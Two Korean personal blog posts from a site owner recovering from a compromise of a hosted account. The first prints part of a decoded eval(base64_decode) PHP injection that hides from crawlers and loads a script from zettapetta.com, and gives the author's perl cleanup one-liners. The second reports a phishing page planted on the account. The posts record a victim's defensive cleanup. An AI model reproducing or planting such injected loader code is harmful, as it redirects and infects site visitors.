PHP eval(base64_decode 해킹
호스팅 해서 쓰고 있는 계정의 모든 PHP 파일의 첫줄에
<?php /**/ eval(base64_decode(“….”); ?>
이 삽입되는 해킹을 당했다. 유사한 사례를 찾아보니 인터넷에 좀 있기는 하다. 이 곳에 언급된 피해사례와 거의 동일하다.
다행히 손실되거나 한 데이터는 없는데, 이 일이 있고나서 방금 전까지 12시간여동안mcpanic.com/juhokim.com 을 방문한 분들은 좀 놀랐을듯. 죄송합니다… PHP 스크립트를 사용하는 동작을 하면 갑자기 이상한 URL 로 자동 리다이렉트 되는 문제가 생긴다. 첫줄에 있는 base64_decode 안에 있는 코드가 실행이 되면서 엉뚱한 곳의 코드를 실행하는 것이다. decode 를 해보니 볼드체로 된 URL 에 있는 스크립트를 실행한다.
if(function_exists('ob_start')&&!isset($GLOBALS['mr_no'])){
$GLOBALS['mr_no']=1;
if(!function_exists('mrobh')){
if(!function_exists('gml')){
function gml(){
if (!stristr($_SERVER["HTTP_USER_AGENT"],"googlebot")&& (!stristr($_SERVER["HTTP_USER_AGENT"],"yahoo"))){
return “<script src=’http://zettapetta.com/js.php’></script”;
}
return "";
}
}
<후략>
워낙 많은 파일들이 피해를 입어서 일괄적으로 수정을 하기 위해 오랜만에 regular expression 을 끄적거렸다. 일단 어떤 파일들이 피해를 입었는지 보기 위해서 grep 으로 살펴봤더니 모두 PHP 파일이었고, 첫줄에만 피해가 있었다. 일괄적으로 수정하는 한줄의 코드를 실행시켜서 일단 급한 불을 껐다. Perl 의 –i 플래그에 확장자를 붙여주면 변경하기 전 파일을 복사해 확장자를 붙여 저장해 준다.
find ./ -name "*.php" | xargs perl -i.bak -p -e 's/\<\?php \/\*\*\/ eval\(base64_decode\(\".*\"\)\)\;\?\>//';
그랬더니 PHP 파일 최상단에 빈줄이 생겨 제대로 동작하지 않는 문제가 발생했다. 역시 이런건 한번에 깔끔하게 하기가 쉽지 않다. 그래서 맨 위 5줄에 있는 빈줄을 모두 없애기 위해 다시 한번, ‘close ARGV if eof’ 를 해주지 않으면 current line number 인 $. 가 계속해서 올라가기 때문에 원하는 동작을 하지 않는다.
find ./ -name "*.php" | xargs perl -i.hack3 -p -e 's/^\s*$// if $.<5; close ARGV if eof';
PHP 의 보안이나 다른 어딘가에 보안 구멍이 있는 것 같은데, 보안 쪽은 영 문외한이라 어디부터 손봐야할지 모르겠다. 혹시 비슷한 경험이 있거나 예방책 등을 아시는 분은 애정어린 조언을 부탁드립니다!
mcpanic.com 계정 해킹당하다 ㅠ
어제 갑자기 내가 사용하고 있는 호스팅 업체인 Bluehost 에서 메일이 하나 와서는
Your web hosting account for mcpanic.com has been deactivated (reason: terms of service violation).
이라는 것이다. 블로그며 위키며 레일즈 테스트 하던거며 다 먹통이 되었기에 당황해서 영문을 물어봤더니
you account has had a phishing site published at (mcpanic.com/hb.heritagecu.org/cgi-bin/mcw000.cgi/MCWSTART)
피싱을 당했다는 것인데.. 어째 이런 일이 ㅠ 다시 살려준 계정에 들어가 봤더니 버젓이 피싱 사이트가 또아리를 틀고 앉아 있었다.당장 지워버리고 가까스로 복구하기는 했는데, 심리적 데미지도 크다 ㅋㅋ
원인에 대해 문의를 했더니 정확한 것은 알 수 없지만 security hole 이 있었을 것이라는 이야기를 들었다.
you can also make sure that if you have any installation like wordpress, phpBB, phpNuke, and so on that they are the current updated version and not an older version. the older visions have security holes and are venerable to hacking. Also Chances are if your using php that there are issues with your php scripts on your site. You need to make sure that you have looked into the security protections on your php files. php injection is the most likely avenue.
암튼 보안 쪽은 골치아픈 것 같다. 그만큼 잘 알아야 피해를 막을 수 있을 것도 같고.. 또 한편으로 느낀 것은 당장 채 하루도 안 걸려서 복구되기는 했지만 생각보다 나의 불안감이나 초조함이 컸다는 것이다. 그만큼 이 계정에 대한 내 애착이 크다는 것일까? ㅎㅎ
